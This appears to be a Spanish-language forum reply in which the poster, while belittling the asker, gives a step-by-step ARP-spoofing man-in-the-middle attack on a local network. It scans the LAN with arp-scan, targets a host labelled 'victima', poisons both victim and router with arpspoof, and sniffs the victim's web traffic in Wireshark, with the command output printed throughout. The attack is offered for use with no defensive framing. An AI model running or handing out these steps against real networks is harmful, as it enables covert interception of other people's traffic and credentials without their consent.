lo que solicitas es muuuu básico, por tanto nos haces perder el tiempo, ahora tengo 5 min libres y era o contestarte a ti, o al que quiere "hacer un sistema operativo", como en este caso al colega del sistema operativo solo puedo decirle que lo que intenta hacer es un juego de niños, ya que compilar un kernel no tiene merito ninguno, ya que lo que realmente es un merito es currarse tu propio kernel, entonces es probable que se lo tome a mal, asi que te contesto a ti
wifiway ~ # arp-scan 192.168.0.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.2 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.0.1 XX:XX:XX:XX:XX:XX (router)
192.168.0.10 XX:XX:XX:XX:XX:XX (victima)
192.168.0.11 XX:XX:XX:XX:XX:XX VMware, Inc.
192.168.0.12 XX:XX:XX:XX:XX:XX VMware, Inc
192.168.0.13 XX:XX:XX:XX:XX:XX VMware, Inc
192.168.0.14 XX:XX:XX:XX:XX:XX VMware, Inc.
con esto haces un escaneo rapido de la red, suponiendo que sepas lo que es una ip y lo que es una mascara de red, etc, etc, etc.
ahora seleccionas una victima y envenenas la red (te haces pasar por el router)
wifiway ~ # arpspoof -i eth0 -t 192.168.0.10 192.168.0.1
<aqui ves tu mac><aqui macvictima>0806 42: arp reply 192.168.0.1 is-at <aqui tu mac>
xx:xx:xx:xx:xx:xx aa:aa:aa:aa:aa:aa 0806 42: arp reply 192.168.0.1 is-at xx:xx:xx:xx:xx:xx
xx:xx:xx:xx:xx:xx aa:aa:aa:aa:aa:aa 0806 42: arp reply 192.168.0.1 is-at xx:xx:xx:xx:xx:xx
xx:xx:xx:xx:xx:xx aa:aa:aa:aa:aa:aa 0806 42: arp reply 192.168.0.1 is-at xx:xx:xx:xx:xx:xx
xx:xx:xx:xx:xx:xx aa:aa:aa:aa:aa:aa 0806 42: arp reply 192.168.0.1 is-at xx:xx:xx:xx:xx:xx
y asi sucesivamente
Y ahora la vuelta
wifiway ~ # arpspoof -i eth0 -t 192.168.0.1 192.168.0.10
<aqui ves tu mac><aqui macrouter>0806 42: arp reply 192.168.0.10 is-at <aqui tu mac>
xx:xx:xx:xx:xx:xx aa:aa:aa:aa:aa:aa 0806 42: arp reply 192.168.0.10 is-at xx:xx:xx:xx:xx:xx
xx:xx:xx:xx:xx:xx aa:aa:aa:aa:aa:aa 0806 42: arp reply 192.168.0.10 is-at xx:xx:xx:xx:xx:xx
xx:xx:xx:xx:xx:xx aa:aa:aa:aa:aa:aa 0806 42: arp reply 192.168.0.10 is-at xx:xx:xx:xx:xx:xx
xx:xx:xx:xx:xx:xx aa:aa:aa:aa:aa:aa 0806 42: arp reply 192.168.0.10 is-at xx:xx:xx:xx:xx:xx
y asi sucesivamente
ahora abres el sniffer de red que te de la gana, por ejemplo wireshark y lo pones a escuchar en la interface en mi caso la eth0
te vas al navegador de la victima lo abres y tecleas marca.es, y te vas al wireshark, pones un filtro y podras ver
GET / HTTP/1.1
Host: marca.es
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
HTTP/1.1 301 Moved Permanently
Server: nginx/1.2.7
Date: Thu, 13 Dec 2018 19:26:56 GMT
Content-Type: text/html
Content-Length: 184
Connection: keep-alive
Location:
http://www.marca.com/<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.2.7</center>
</body>
</html>
tan sencillo como eso